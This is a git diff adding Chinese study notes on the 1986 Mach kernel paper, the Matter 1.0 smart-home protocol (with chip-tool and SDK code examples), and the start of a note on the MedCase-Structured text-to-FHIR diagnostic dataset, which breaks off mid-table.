Mach 版本演进(NeXT / XNU 略有差异),但**语义与 1986 论文一致**。 + +### 示例 1:通过 port 发一条 RPC 式请求 + +典型模式:**客户端向服务 port 发消息,服务端 `receive` 后处理**。文件系统、窗口管理器都可以是普通 user task,只要持有 receive right。 + +```c +#include +#include + +#define MSG_OPEN_FILE 1001 + +typedef struct { + mach_msg_header_t head; + char path[256]; +} open_request_t; + +kern_return_t request_open(mach_port_t fs_port, const char *path) +{ + open_request_t req = {0}; + + req.head.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); + req.head.msgh_size = sizeof(req); + req.head.msgh_remote_port = fs_port; + req.head.msgh_local_port = MACH_PORT_NULL; + req.head.msgh_id = MSG_OPEN_FILE; + + strncpy(req.path, path, sizeof(req.path) - 1); + + return mach_msg(&req.head, + MACH_SEND_MSG, + req.head.msgh_size, + 0, + MACH_PORT_NULL, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); +} +``` + +服务端循环 `mach_msg(..., MACH_RCV_MSG, ...)`,按 `msgh_id` 分派。这和今天 gRPC 的「stub + 传输层」同构——只是传输层是内核的 port 队列。 + +### 示例 2:task 创建与 COW 继承(fork 的 Mach 版) + +UNIX `fork()` 在 Mach 里更接近 **`task_create` + 虚存继承策略**。论文 §4:默认新分配内存 **inherit copy-on-write**;也可对某段设为 share / copy / none。 + +```c +#include + +kern_return_t fork_like_child(task_t parent, task_t *child_out) +{ + kern_return_t kr; + task_t child = MACH_PORT_NULL; + + /* 创建子 task,继承 parent 的地址空间布局 */ + kr = task_create(parent, /* inherit_memory */ TRUE, &child); + if (kr != KERN_SUCCESS) + return kr; + + /* 对一段区域显式标记 COW 继承(读共享,写时分裂单页) */ + kr = vm_inherit(parent, + (vm_address_t)0x100000, + (vm_size_t)0x4000, + VM_INHERIT_COPY); + if (kr != KERN_SUCCESS) { + task_terminate(child); + return kr; + } + + /* 1986 论文时 thread 仍在完善;现代系统会 thread_create(child, ...) */ + *child_out = child; + return KERN_SUCCESS; +} +``` + +论文称:在 MicroVAX II 上,带新虚存支持的 **fork 明显快于 4.3BSD**;新分配内存 touch 成本约 **0.7 ms/KB** vs BSD 约 **1.2 ms/KB**(§9,早期未充分调优的数据)。 + +### 示例 3:用户态 pager 处理缺页(概念伪代码) + +```c +/* 用户态 anonymous pager:memory object 由 server 提供 */ +memory_object_t memobj = pager_create_anonymous(); + +vm_address_t addr = 0; +vm_map(current_task(), &addr, 0x10000, /* offset */ 0, + /* copy */ FALSE, memobj, /* unused */ 0, FALSE); + +/* 首次写入触发缺页 -> 内核向 memobj port 发 pager_request */ +*(volatile int *)addr = 42; +``` + +这对应论文 §4:**pagein/pageout 可由非内核 task 完成**——文件映射把 pager 设为文件系统 server 即可。 + +## 1986 年 4 月的工程事实 + +读论文时要区分**愿景**和**当时已跑通的部分**: + +| 项目 | 状态 | +|------|------| +| trap、调度、MP 同步、虚存、IPC | 已运行,CMU 多个项目在用(Agora 语音识别、并行生产系统等) | +| Thread 抽象 | **尚未完成**,预计 1986 夏 | +| UNIX 兼容层 | 仍在 **kernel state**(Figure 6 注释) | +| 硬件 | VAX 11/750–8600、MicroVAX I/II、四路 VAX 11/784、IBM RT/PC;同一 VAX 二进制内核映像可跑单机和多机 | +| 移植中 | Sun 3、Encore MultiMax、VAX 8300 | +| 性能 | 整体「看起来与 4.3BSD 同量级」,尚未做系统 benchmark | + +## 论文还提到的配套设施 + +- **Matchmaker**(§6.1):IDL,把接口编译成 C / Pascal / Lisp 的 RPC stub,底层走 Mach message +- **Network server**(§6.2):内核不直接做网络 IPC,由用户态 server 扩展 port 语义,支持 VAX / RT/PC / PERQ 间类型转换 +- **kdb**(§7.1):内核内置 adb 式调试器,带增强栈追踪、call/return trace +- **透明远程文件系统**(§7.2):从 CMU 4.1 演进,用特殊链接类型而非 mount 表膨胀 + +## 事后看:踩过的坑 + +1. **IPC 不是免费的**:Mach 3.0 时代纯微内核 IPC 开销显著;L4(1993)用极简内核 + 寄存器传递把 IPC 压到 Mach 的约 **1/10** 时间。1986 论文尚乐观,性能税在 1990 年代成为主批评点。 + +2. **「内核里的 BSD」是过渡态**:Apple 最终走 **Mach + BSD 混合(XNU)**,不是论文 Figure 6 的纯 user-state UNIX。 + +3. **网络透明很难**:port 跨节点需要 network server、加密、失败语义——论文提出框架,工程花了十年以上。 + +4. **Capability 调试成本**:「谁持有哪个 send right」比 Unix fd 更绕,Hurd 长期受此影响。 + +5. **多处理器演进**:1986 的 VAX MP 与今天 NUMA 差别巨大;锁与 cache 行为在大规模 SMP 上暴露新问题。 + +## 适用 vs 不适用 + +**适用**: + +- 理解 **macOS/iOS** 底层为何仍有 Mach 接口 +- 设计**强隔离**、用户态文件系统、能力安全模型 +- 研究 OS 史上 **微内核 vs 宏内核** 争论的原始文献 +- 学习 **IPC 与 VM 一体化** 的设计模式(COW 消息、fork) + +**不适用**: + +- 追求极致单机 syscall 延迟(数据库、HFT)——monolithic Linux 通常更赢 +- 小团队从零做通用 OS——Mach 路线工程复杂度极高 +- 误以为「微内核 = 更小更快」——论文强调的是**可修改性、可扩展性、统一抽象** + +## 与 Accent / UNIX 的谱系 + +| 系统 | 关系 | +|------|------| +| **Accent**(CMU, ~1981) | Mach 精神父辈:port + message + COW VM | +| **4.3BSD** | 二进制兼容目标;被 Mach 逐步替换底层 | +| **NeXTSTEP / XNU** | 商业直系 | +| **GNU Hurd** | GNU 服务 + Mach user server | +| **L4 / seL4** | 反 Mach IPC 性能问题;保留 message 思想 | + +Rashid 后创立 Microsoft Research;Tevanian 经 NeXT 到 Apple——影响路径是 **学术 → 工作站 → 消费电子设备**,而非「赢了数据中心 Linux」。 + +## 学到什么(零基础 checklist) + +1. **换地基,不是堆功能**:BSD 变大后,Mach 用五个抽象划清「该改哪里」。 +2. **IPC 和 VM 一起设计**:大消息、fork、共享映射共用 COW,分开设计会付双倍成本。 +3. **兼容性是迁移策略**:1986 年就强调 4.3BSD 二进制兼容——研究 OS 没人用等于零。 +4. **读 Figure 6 的注释**:目标架构 ≠ 1986 实际架构;thread 未完成、BSD 仍在 kernel。 +5. **活下来 ≠ 赢得辩论**:iPhone 里仍有这篇论文的基因;服务器上是 Linux 的天下。 + +## 延伸阅读 + +- 论文 PDF:[Mach: A New Kernel Foundation for UNIX Development (USENIX 1986)](https://www.cs.cmu.edu/afs/cs/project/mach/public/www/doc/publications/usenix86.pdf) +- Accent 前身:Rashid & Robertson, *Accent: A Communication Oriented Network Operating System Kernel* (1981) +- VM 与 IPC 集成:Fitzgerald & Rashid, *The Integration of Virtual Memory Management and Interprocess Communication in Accent* (TOCS 1986) +- 性能反思:Liedtke, *On μ-Kernel Construction* (1995) — L4 如何把 IPC 做到 Mach 的十分之一 +- 现代混合内核:[[xnu-kernel]] — Apple XNU 如何把 Mach 与 BSD 焊在一起 + +## 关联 + +- [[mach-vm-1987]] — 虚存实现细节(address map、VM object、pmap) +- [[xen-2003]] — 另一套「重订 OS 与硬件契约」的思路,走虚拟化而非微内核 +- [[kvm-2007]] — Linux 把 hypervisor 收回内核,与 Mach「缩小内核」形成对照 +- [[l4-1995]] — 第二代微内核,专治 Mach IPC 性能 + +## 反向链接 + + + +(暂无反向链接) + diff --git a/src/content/docs/papers/matter-protocol-1-0.md b/src/content/docs/papers/matter-protocol-1-0.md new file mode 100644 index 000000000..27e8f80ee --- /dev/null +++ b/src/content/docs/papers/matter-protocol-1-0.md @@ -0,0 +1,295 @@ +--- +title: Matter 1.0 — 智能家居设备的「通用语言 + 入职流程」 +来源: https://csa-iot.org/all-solutions/matter/ +日期: 2026-06-13 +子分类: 嵌入式与 IoT +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象你搬进一栋**智能公寓楼**,楼里住着苹果、谷歌、亚马逊、三星各派来的管家,每家以前只认自家门锁: + +- 飞利浦灯泡只跟 Hue App 说话,宜家插座只认 HomeKit,用户手机里装了五六个 App,配网时要连不同的 Wi-Fi 热点、扫不同的二维码。 +- **Matter** 想做的事,相当于给整栋楼发一套**统一的房卡系统 + 房间编号规则**:灯泡、门锁、传感器都讲同一种「业务语言」,配网流程也标准化;你仍然可以用 Siri、Google Home 或 Alexa 当管家,但设备端不必为每家各写一套私有协议。 + +技术上说:Matter 1.0 Core Specification(Connectivity Standards Alliance,2022 年 10 月发布)在 **IPv6 承载的 IP 网络**(Wi-Fi、Thread、以太网)上,定义了**数据模型、交互模型、安全与会话、配网(Commissioning)** 等完整栈。设备通过 CSA 认证后,可用 QR 码或手动配对码完成入网,并在多个生态的 **Fabric** 上同时工作。 + +官方入口:[Matter | CSA-IOT](https://csa-iot.org/all-solutions/matter/) +规范全文(1.0):[Matter 1.0 Core Specification PDF](https://csa-iot.org/wp-content/uploads/2022/11/22-27349-001_Matter-1.0-Core-Specification.pdf) + +## 这篇文档在说什么 + +| 维度 | 内容 | +|------|------| +| 发布方 | Connectivity Standards Alliance(CSA),前身 Zigbee Alliance | +| 版本 | Matter 1.0(2022-10-04 认证启动);后续有 1.1、1.2 等增量,1.0 是奠基版 | +| 承载网络 | IPv6 over Wi-Fi / Thread / Ethernet;跨网段经 Border Router | +| 开源实现 | [connectedhomeip](https://github.com/project-chip/connectedhomeip)(CHIP SDK) | +| 核心承诺 | 互操作、本地优先、基于证书的强身份、多管理员(多 Fabric) | +| 与 Zigbee 关系 | 应用层重新设计;集群概念继承自 Zigbee Cluster Library 思路,但协议栈完全不同 | + +Matter **不是**又一个专有云 API。它规定的是设备与设备、控制器与设备之间**如何在局域网里安全地读写状态、发命令**;云端同步由各生态自行实现,但本地控制路径标准化。 + +## 为什么值得学 + +| 场景 | Matter 提供的价值 | +|------|-------------------| +| 做智能硬件固件 | 一套 SDK 覆盖多生态,减少「为 HomeKit 再 port 一遍」 | +| 做网关 / Hub | 明确 Commissioner、Bridge、Border Router 角色边界 | +| 做自动化 / 测试 | `chip-tool` 可脚本化配网与控制,适合 CI | +| 理解智能家居安全 | PASE / CASE、设备认证(Attestation)、Fabric 隔离 | +| 选型 Thread vs Wi-Fi | Matter 在链路层之上,Thread 常作低功耗设备的 L2 | + +若你之前学过 Zigbee 的 Endpoint / Cluster,Matter 的 **Node → Endpoint → Cluster → Attribute/Command/Event** 层次会似曾相识;但传输、安全、发现机制已全部换成 **IP + TLS 类会话 + DNS-SD**。 + +## 核心概念一:协议栈分层 + +规范第 2 章把 Matter 设备从下到上拆成: + +``` +┌─────────────────────────────────────────┐ +│ Application(灯亮灭、门锁逻辑等业务) │ +├─────────────────────────────────────────┤ +│ Data Model(Endpoint / Cluster / 属性) │ +├─────────────────────────────────────────┤ +│ Interaction Model(Read/Write/Invoke/ │ +│ Subscribe) │ +├─────────────────────────────────────────┤ +│ Action Framing + Security(消息帧、加密) │ +├─────────────────────────────────────────┤ +│ Session Management(PASE / CASE 会话) │ +├─────────────────────────────────────────┤ +│ Transport(TCP / UDP / BLE 等) │ +├─────────────────────────────────────────┤ +│ Network(IPv6、Thread、Wi-Fi、Ethernet) │ +└─────────────────────────────────────────┘ +``` + +日常类比:**网络层**是公寓楼里的邮政系统(信怎么送到房间);**会话层**是房卡加密(PASE 像临时访客码,CASE 像正式门禁卡);**数据模型**是房间里的开关、温湿度计各贴什么标签;**交互模型**是你「读温度」「按开关」「订阅门铃事件」的动作种类。 + +## 核心概念二:数据模型(Node / Endpoint / Cluster) + +Matter 里每台物理设备至少是一个 **Node(节点)**。节点内部再拆: + +| 概念 | 含义 | 类比 | +|------|------|------| +| **Node** | 网络中可寻址的一台 Matter 设备 | 公寓里的一户人家 | +| **Endpoint** | 节点上的功能实例;**Endpoint 0** 保留给工具类集群 | 一户里的「客厅灯」「卧室灯」 | +| **Cluster** | 一组属性、命令、事件的规范(如 On/Off、Level Control) | 每种电器的「操作面板」标准 | +| **Attribute** | 可读/可写的状态(如 `OnOff` 开或关) | 面板上的指示灯状态 | +| **Command** | 可调用的动作(如 `Toggle`) | 面板上的按钮 | +| **Event** | 带来时间戳的历史记录(如 `SwitchLatched`) | 门禁日志 | + +每个节点**必须有 Endpoint 0(Root Node)**,上面挂 `Descriptor`、`Basic Information`、`General Commissioning` 等**工具集群**,用于描述设备能力与配网,而不是具体业务。 + +**Server Cluster** 提供属性/命令;**Client Cluster** 在另一端发起调用。同一 Cluster ID 在客户端与服务端成对出现——类似 gRPC 的 service 定义与 stub。 + +## 核心概念三:Fabric 与多生态共存 + +**Fabric** 是一组共享**同一信任根(Root CA)** 的 Matter 节点集合。日常类比:同一家公司发的工牌——Apple Home、Google Home 各自可以给你的灯泡发一张工牌(**多 Fabric**),灯泡同时属于多个「信任圈」,但每个圈里节点 ID 独立分配。 + +- **Fabric ID**:64 位,在 Root CA 范围内唯一;`Fabric ID 0` 保留不可用。 +- **Node ID**:64 位,在 Fabric 内唯一标识节点。 +- **NOC(Node Operational Certificate)**:配网时 Commissioner 签发,CASE 会话用它证明身份。 +- **Operational Discovery**:入网后通过 DNS-SD 广播,实例名形如 `-.local`。 + +因此:**配网一次到苹果生态,并不等于锁死在苹果**——同一设备可被第二个 Commissioner 以「多管理员」流程加入 Google Fabric,规范第 12 章专门讲 Multiple Fabrics。 + +## 核心概念四:配网(Commissioning)全流程 + +配网 = 把 **Commissionee**(待入网设备)加入 Fabric 的完整仪式,由 **Commissioner**(手机 App、Hub、或 `chip-tool`)主导: + +``` + 发现设备 PASE 安全通道 证明是真货 + (BLE / SoftAP (配对码/QR) (Attestation) + / DNS-SD) │ │ + └──────────────────┴────────────────────┘ + │ + 写入监管域、时间、网络凭证 + (General Commissioning / + Network Commissioning Cluster) + │ + 安装 NOC,加入 Fabric + (Node Operational Credentials) + │ + 设备连上 Wi-Fi / Thread + │ + CASE 建立运营会话 + │ + CommissioningComplete +``` + +要点摘录(Matter 1.0 Core Spec §2.8、Chapter 5): + +1. **Device Discovery**:未入网设备用 BLE、Wi-Fi Soft AP 或 IP 上的 DNS-SD 宣告自己;用户从 **QR Code / Manual Pairing Code / NFC** 取得 **Passcode**(开箱贴纸上的 11 位码或 QR 里的 `MT:...` 载荷)。 +2. **PASE(Passcode-Authenticated Session Establishment)**:用 Passcode 做 SPAKE2+ 密钥交换,在**配网信道**上加密后续消息;此时还没有 NOC。 +3. **Device Attestation**:Commissioner 验证设备 DAC(Device Attestation Certificate)链,确认是 CSA 认证产品,防山寨设备混入 Fabric。 +4. **Network Commissioning**:对 Wi-Fi/Thread 设备下发 SSID、密钥或 Thread 数据集;以太网设备可能跳过此步。 +5. **Operational Credentials**:CA 签发 NOC,写入 Node ID;设备成为 Fabric 正式成员。 +6. **CASE(Certificate Authenticated Session Establishment)**:运营阶段所有单播业务消息在 CASE 会话中加密;连接断开需重新 CASE。 + +**并发 vs 非并发配网**:部分设备配网时 BLE 与 Wi-Fi 可同时在线(并发);另一些在连上运营网络后会断开 BLE 配网信道(非并发)——实现与芯片资源相关,规范均允许。 + +## 核心概念五:交互模型(Interaction Model) + +节点之间建立加密会话后,通过四种**交互类型**操作对方的数据模型(Chapter 8): + +| 交互 | 作用 | 典型用途 | +|------|------|----------| +| **Read** | 读一个或多个属性/事件 | 查询灯是否亮 | +| **Write** | 写属性 | 设定目标亮度 | +| **Invoke** | 调用命令 | `Off`、`Toggle` | +| **Subscribe** | 订阅属性/事件变化 | 门磁状态推送 | + +每次交互需指定 **Path**,形如: + +``` + +``` + +也支持 **Group ID** 或通配符,一次操作多个端点——类似「广播给全屋所有灯」。 + +消息在链路上用 **TLV(Tag-Length-Value)** 编码,由 Action Framing 层打包;这与 JSON-RPC 类协议不同,偏向嵌入式紧凑二进制。 + +## 代码示例一:用 chip-tool 配网并控制 On/Off 灯 + +[connectedhomeip](https://github.com/project-chip/connectedhomeip) 自带的 **chip-tool** 是最常用的 Matter 控制器 CLI,适合开发调试。编译后(见官方 [First Example](https://project-chip.github.io/connectedhomeip-doc/getting_started/first_example.html)): + +**1. 用 QR 码配网(pairing 为 commissioning 旧称)** + +```bash +# 0x12344321 = 分配给设备的 Node ID(测试常用默认值) +# MT:-24J0AFN00KA0648G00 = 示例 QR 载荷(默认 discriminator + passcode 的灯具) +./out/linux-x64-chip-tool/chip-tool pairing code 0x12344321 MT:-24J0AFN00KA0648G00 +``` + +**2. 入网后读 OnOff 属性** + +```bash +# 集群 onoff · 动作 read · 属性 on-off · Node ID · Endpoint 1 +./out/linux-x64-chip-tool/chip-tool onoff read on-off 0x12344321 1 +``` + +**3. 发命令开灯** + +```bash +./out/linux-x64-chip-tool/chip-tool onoff on 0x12344321 1 +``` + +**4. 订阅属性变化(长连接推送)** + +```bash +./out/linux-x64-chip-tool/chip-tool onoff subscribe on-off 1 10 0x12344321 1 +# 参数含义:min-interval=1s, max-interval=10s,超出则服务器主动上报 +``` + +命令模式始终是:`chip-tool ... `。多 Fabric 场景可加 `--commissioner-name ` 指定用哪张「工牌」发令。 + +## 代码示例二:设备端声明 On/Off Server Cluster(C++ 片段) + +固件侧(基于 Matter SDK 的 lighting-app 模式)要在某个 Endpoint 上挂载 **On/Off Server Cluster**,使控制器能 `Invoke` `Toggle`。逻辑上包含三步:定义 Endpoint 配置、注册 Cluster 回调、在属性变化时驱动硬件。 + +```cpp +// 简化示意:在 Endpoint 1 上启用 On/Off Server(ZAP 代码生成会产出大量样板) +#include +#include + +using namespace chip; +using namespace chip::app; +using namespace chip::app::Clusters::OnOff; + +// 属性写入回调:控制器 chip-tool onoff on/off 会走到这里 +Protocols::InteractionModel::Status emberAfOnOffClusterOnOffAttributeWriteCallback( + EndpointId endpoint, AttributeId attributeId, uint8_t * value) +{ + if (attributeId != Attributes::OnOff::Id) { + return Protocols::InteractionModel::Status::Failure; + } + bool on = *value; + // 驱动真实 GPIO / PWM + SetPhysicalLight(on); + return Protocols::InteractionModel::Status::Success; +} + +// 命令处理:chip-tool onoff toggle 触发 +bool emberAfOnOffClusterToggleCallback(EndpointId endpoint) +{ + bool current; + Attributes::OnOff::Get(endpoint, ¤t); + Attributes::OnOff::Set(endpoint, !current); + return true; +} +``` + +实际工程里,Endpoint 与 Cluster 列表多由 **ZAP(Zigbee Cluster Configurator)** 生成到 `zap-generated/`;开发者主要填 **Device Type**(如 `0x0100` On/Off Light)、厂商 ID、配网参数,并实现上述 Attribute/Command 回调。动态 Endpoint(如 Bridge 在运行时添加子设备)需调用 SDK 的 Dynamic Endpoint API,见 [bridge-app 示例](https://github.com/project-chip/connectedhomeip/tree/master/examples/bridge-app)。 + +## 配网载荷:QR 里到底编码了什么 + +Manual Pairing Code / QR Code 携带 **Onboarding Payload**(§5.1),解码后得到配网所需字段,例如: + +| 字段 | 作用 | +|------|------| +| Version | 载荷格式版本 | +| Vendor ID / Product ID | 识别厂商与产品(可选出现在广播里) | +| Custom Flow | 是否需厂商自定义配网 UI | +| **Discriminator** | 12 位,区分同时待配的多个相同设备 | +| **Passcode** | PASE 用的共享秘密(27 位有效位) | +| Discovery Capabilities | 支持 BLE / Soft AP / On IP | + +`chip-tool` 的 `pairing code` 子命令即解析 `MT:...` 字符串并自动走 BLE/IP 发现 + PASE。生产环境 Passcode 必须随机且每机唯一,防止邻居蹭网。 + +## 发现机制:Commissionable vs Operational + +| 阶段 | 方式 | 何时用 | +|------|------|--------| +| **Commissionable Discovery** | BLE 广播、Wi-Fi Soft AP、有限 DNS-SD | 设备未入网,等待配网 | +| **Operational Discovery** | 运营网络 DNS-SD(mDNS 等) | 设备已入网,控制器找 `-.local` | + +若设备**已属于另一个 Fabric** 且占用了 Wi-Fi/Thread,二次配网通常只能走 **On-Network Commissioning**(IP 上 DNS-SD),不能再开 Soft AP——这是多生态共存时的常见坑。 + +## 与 Thread、Wi-Fi、Bridge 的关系 + +``` + ┌─────────────── Matter 应用层 ───────────────┐ + │ Data Model / Interaction / Security │ + └────────────────────┬────────────────────────┘ + │ IPv6 + ┌─────────────────┼─────────────────┐ + ▼ ▼ ▼ + Wi-Fi STA Thread 1.3 Ethernet + │ │ + └──────── Border Router ────────┘ + (跨网段转发) +``` + +- **Thread** 设备通过 Border Router 获得与 Wi-Fi 上 Commissioner 的 IPv6 连通。 +- **Bridge** 把 Zigbee/红外等非 Matter 设备映射为 Matter Endpoint,对外仍是一个 Node。 +- **OTA**:`OTA Provider` / `OTA Requestor` 集群负责固件升级,与配网证书体系正交。 + +## 1.0 之后发生了什么(读笔记时的坐标系) + +Matter 1.0 首发设备类型以灯、插座、门锁、传感器、窗帘、恒温器为主。后续版本增量扩展:**1.1** 改进配网与多管理员;**1.2** 增加机器人吸尘器等;规范以 CSA 发布为准,SDK 在 GitHub 上 `connectedhomeip` 主分支跟进。学 1.0 仍必要——**Fabric、PASE/CASE、Cluster 路径、Commissioning 状态机** 是后续版本的超集基础。 + +## 常见误区 + +| 误区 | 事实 | +|------|------| +| 「Matter = Wi-Fi」 | Matter 运行在 IPv6 上,Wi-Fi / Thread / Ethernet 均可 | +| 「配网完只能用一个 App」 | 多 Fabric 设计允许多个生态各管一张工牌 | +| 「Cluster = MQTT Topic」 | Cluster 是强类型 schema,含 Access 权限与 conformance 规则 | +| 「有开源 SDK 就不用认证」 | 上市销售仍需 CSA 认证与合法 VID/PID、DAC | +| 「CASE 一次建立永久有效」 | 连接断开后需重新建立 CASE 会话 | + +## 进一步阅读 + +- [Matter 1.0 Core Specification(HTML 镜像)](https://leconiot.com/matter/1.0/index.html) — 全文检索友好 +- [Google Home Matter Primer — Commissioning](https://developers.home.google.com/matter/primer/commissionable-and-operational-discovery) +- [Matter Handbook — Interaction Model](https://handbook.buildwithmatter.com/how-it-works/interaction-model/) +- [CHIP Tool 指南](https://project-chip.github.io/connectedhomeip-doc/development_controllers/chip-tool/chip_tool_guide.html) +- [connectedhomeip 示例索引](https://github.com/project-chip/connectedhomeip/tree/master/examples) + +## 小结 + +Matter 1.0 的本质不是「又一个 App 协议」,而是:**在 IP 网络上用统一数据模型描述设备能力,用 PASE/CASE 解决身份,用标准 Commissioning 把设备拉进 Fabric**。日常类比是「全屋智能的通用工牌 + 房间编号 + 入职流程」;技术上则是 Endpoint/Cluster 数据模型、四种交互、以及 `chip-tool` 里一行 `onoff on` 背后整条协议栈。从零开始,先跑通 lighting-app + `chip-tool pairing code`,再读规范 Chapter 5(Commissioning)与 Chapter 7–8(Data Model / Interaction Model),比从 PDF 第 1 页硬啃高效得多。 diff --git a/src/content/docs/papers/medcase-fhir.md b/src/content/docs/papers/medcase-fhir.md new file mode 100644 index 000000000..86d39becd --- /dev/null +++ b/src/content/docs/papers/medcase-fhir.md @@ -0,0 +1,344 @@ +--- +title: MedCase-Structured — Text-to-FHIR 临床诊断推理数据集(零基础学习笔记) +来源: https://arxiv.org/abs/2605.30295 +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:病历口述 vs 医院信息系统 + +想象你是一名住院医,向主任汇报病例时有两种方式: + +- **口述版(纯文本)**:「45 岁女性,左臂和腋下起水疱样皮疹三天,伴主观发热,既往无特殊……」——信息都在一段话里,主任靠临床经验串起来想诊断。 +- **系统版(结构化 EHR)**:同一位病人已经录进医院信息系统:人口学在 **Patient**,就诊在 **Encounter**,主诉拆成多条 **Condition**,化验在 **Observation**,每条还带 **SNOMED CT / LOINC / RxNorm** 标准编码。主任要在表格、编码和引用关系里「拼图」。 + +很多 AI 论文只在**口述版**上测诊断准确率——像在作文比赛里拿高分。真正部署到临床决策支持系统(CDSS)时,模型面对的是**系统版**:FHIR Bundle、术语表、资源引用、日期字段、诊断是否被刻意隐藏。2026 年 5 月发表的 **MedCase-Structured**(arXiv:[2605.30295](https://arxiv.org/abs/2605.30295),ICML 2026 SD4H 投稿)正是为了填这个评测鸿沟:把医生写的病例叙事,转成**可互操作的 HL7 FHIR R4 患者 Bundle**,再测大模型在「像真 EHR」输入上的诊断推理能力。 + +论文的核心发现很反直觉:**同一批病例,换成 FHIR 结构化输入后,主流 LLM 的诊断准确率普遍下降**——说明「会读病历故事」≠「会在 EHR 里推理」。 + +一句话:**MedCase-Structured 不是又一个医学 QA 题库,而是把评测场景从「作文」搬到「医院信息系统界面」。** + +--- + +## 是什么 + +| 项目 | 内容 | +|------|------| +| 全称 | MedCase-Structured: A Text-to-FHIR Dataset for Benchmarking Diagnostic Reasoning in Clinically Realistic EHR Settings | +| 作者 | Valentina Bui Muti, Eugénie Dulout, Ziquan Fu | +| 上游数据 | [MedCaseReasoning](https://github.com/kevinwu23/Stanford-MedCaseReasoning)(NeurIPS 2025,约 14,489 例临床病例报告) | +| 输出格式 | HL7 **FHIR R4** `Bundle`(`type: collection`),术语经 SNOMED CT / LOINC / RxNorm / CVX 校验 | +| 数据集仓库 | [SystemInternal/MedCase-Structured](https://github.com/SystemInternal/MedCase-Structured) | +| 规模 | 过滤后成功转换 **1,408** 例(占进入流水线的 **82.5%**);测试集可用 **95** 例(原 test 897 例) | +| 生成模型 | Claude Sonnet 4(`claude-sonnet-4-20250514`,temperature=0) | + +MedCase-Structured 解决的是**评测对齐(deployment-aligned benchmarking)**:用合成、公开、FHIR 原生的患者数据,在保护隐私的前提下模拟真实 CDSS 输入。 + +--- + +## 为什么重要 + +### 1. 真实 EHR 与论文基准之间的裂缝 + +- **MIMIC-IV** 等真实 EHR 受隐私与许可限制,且原始形态并非部署中的 FHIR 输出;MIMIC-IV-FHIR 是事后映射,不是临床系统实时产物。 +- **MedQA / MMLU 医学子集** 等多为短 vignette 或选择题,缺少资源引用、编码体系和纵向字段。 +- **Synthea** 能批量造 FHIR,但靠预定义模块与启发式规则,难以覆盖罕见、非典型、高难度的诊断推理病例。 + +### 2. 输入表示会显著改变模型表现 + +论文引用 EHRStruct、FHIR-AgentBench 等工作的结论:**同一临床任务,换输入格式或评测协议,LLM 分数可大幅波动**。MedCase-Structured 用同一病例的「文本版 vs FHIR 版」做对照,直接量化这一差距。 + +### 3. 术语幻觉是 text-to-FHIR 的主战场 + +流水线失败统计里,**LOINC / RxNorm 幻觉编码**、非特异性药名(如「口服抗生素」)、语义映射过细/类别错误占绝大多数。没有 **terminology grounding + repair**,合成 FHIR 无法用于严肃评测。 + +--- + +## 核心概念 + +### 1. FHIR R4 与 Bundle + +**FHIR**(Fast Healthcare Interoperability Resources)是 HL7 的医疗数据交换标准。**R4** 是当前广泛部署的版本。一个病例在 MedCase-Structured 里通常是一个 **`Bundle`**,内含多条 `entry`,每条指向一种资源: + +| 资源类型 | 临床含义(简化) | +|----------|------------------| +| `Patient` | 人口学:姓名、性别、出生日期 | +| `Encounter` | 就诊:门诊/住院、时段、就诊原因 | +| `Condition` | 诊断或症状条目 | +| `Observation` | 体征、实验室结果 | +| `MedicationRequest` | 用药医嘱 | +| `Procedure` | 操作/手术 | +| `DiagnosticReport` | 检查报告 | +| `AllergyIntolerance` | 过敏史 | +| `FamilyMemberHistory` | 家族史 | +| `Immunization` | 免疫接种 | + +资源之间用 `subject.reference: Patient/{id}` 等字段**链接**,形成图结构——这正是 LLM 阅读纯文本时不常遇到的认知负担。 + +### 2. 三阶段固定 LLM 流水线(非 Agent 随意调工具) + +与 Infherno 等 **agent 自主决定何时调工具** 不同,本文流水线在**三个固定阶段**调用 LLM,其余为确定性校验: + +```text +自由文本病例 + → [Stage 1 抽取] 中间表示(人口学、症状、化验、用药… + 每项原文 quote) + → [术语接地] SapBERT + FAISS 对 SNOMED/LOINC/RxNorm/CVX 校验/替换/拒绝 + → [Stage 2 合成] 按 HL7 R4 模板生成 FHIR 资源 + → [结构校验 + 修复循环] 最多 3 轮把 validation errors 喂回 LLM + → [规则后处理] 补全缺失资源、归一化单位/日期/状态 + → [Stage 3 泄漏检测](可选)语义扫描 narrative 字段,清除残留诊断线索 + → 输出 Bundle +``` + +**术语接地**使用 [SapBERT](https://arxiv.org/abs/2010.11784) 嵌入 + [FAISS](https://arxiv.org/abs/1702.08734) 近邻搜索,按余弦相似度阈值决定:接受原码、替换为库内标准码、或拒绝。 + +### 3. 诊断隐藏(Diagnosis Hiding)——评测 CDSS 的关键开关 + +真实 CDSS 不应「偷看」已写入 EHR 的最终诊断。论文提供四种模式: + +| 模式 | 行为 | +|------|------| +| `NONE` | 移除所有诊断结论 | +| `HIDDEN` | 仅隐藏主诊断(评测常用) | +| `EXPLICIT` | 只保留患者自述病情 | +| `FULL` | 保留全部抽取诊断(用于分析泄漏) | + +`NONE` / `HIDDEN` 下先做编码与子串过滤,再用第三阶段 LLM 扫 narrative,去掉缩写、隐含结论等同义词。 + +### 4. 与 MedCaseReasoning 的关系 + +[MedCaseReasoning](https://arxiv.org/abs/2505.11733) 每条样本含: + +- `case_prompt`:尚未给出鉴别诊断前的病例呈现 +- `diagnostic_reasoning`:带文献引用的编号推理链 +- `final_diagnosis`:金标准诊断 + +MedCase-Structured **保留诊断难度与专科分布**,把 `case_prompt` 转成 FHIR;评测时对比 **MCR(文本)** 与 **MCS(FHIR)** 同一问题的准确率。 + +### 5. 过滤与失败模式(读数字时必看) + +进入流水线的病例会先排除:非人类(兽医报告)、多患者、强依赖影像学描述(生成器暂不支持)等。 + +| 划分 | 原始 | 最终可用 | +|------|------|----------| +| Test | 897 | 95 | +| Val | 500 | 50 | +| Train | 13,092 | 1,263 | + +测试集从 897 掉到 95,主因是 **imaging excluded**(777 例),不是流水线全面崩溃。读论文表格时要区分「全库」与「可评测子集」。 + +--- + +## 实验结果:结构化输入更难 + +在诊断隐藏设定下,用 GPT-5.4 作 LLM-as-judge 比较预测诊断与金标准是否临床等价: + +| 模型 | MedCaseReasoning(文本) | MedCase-Structured(FHIR) | Δ | +|------|--------------------------|----------------------------|---| +| GPT-5.4 zero-shot | 65.26% | 61.05% | −4.21 | +| GPT-5.4 1-shot | 74.74% | 51.58% | 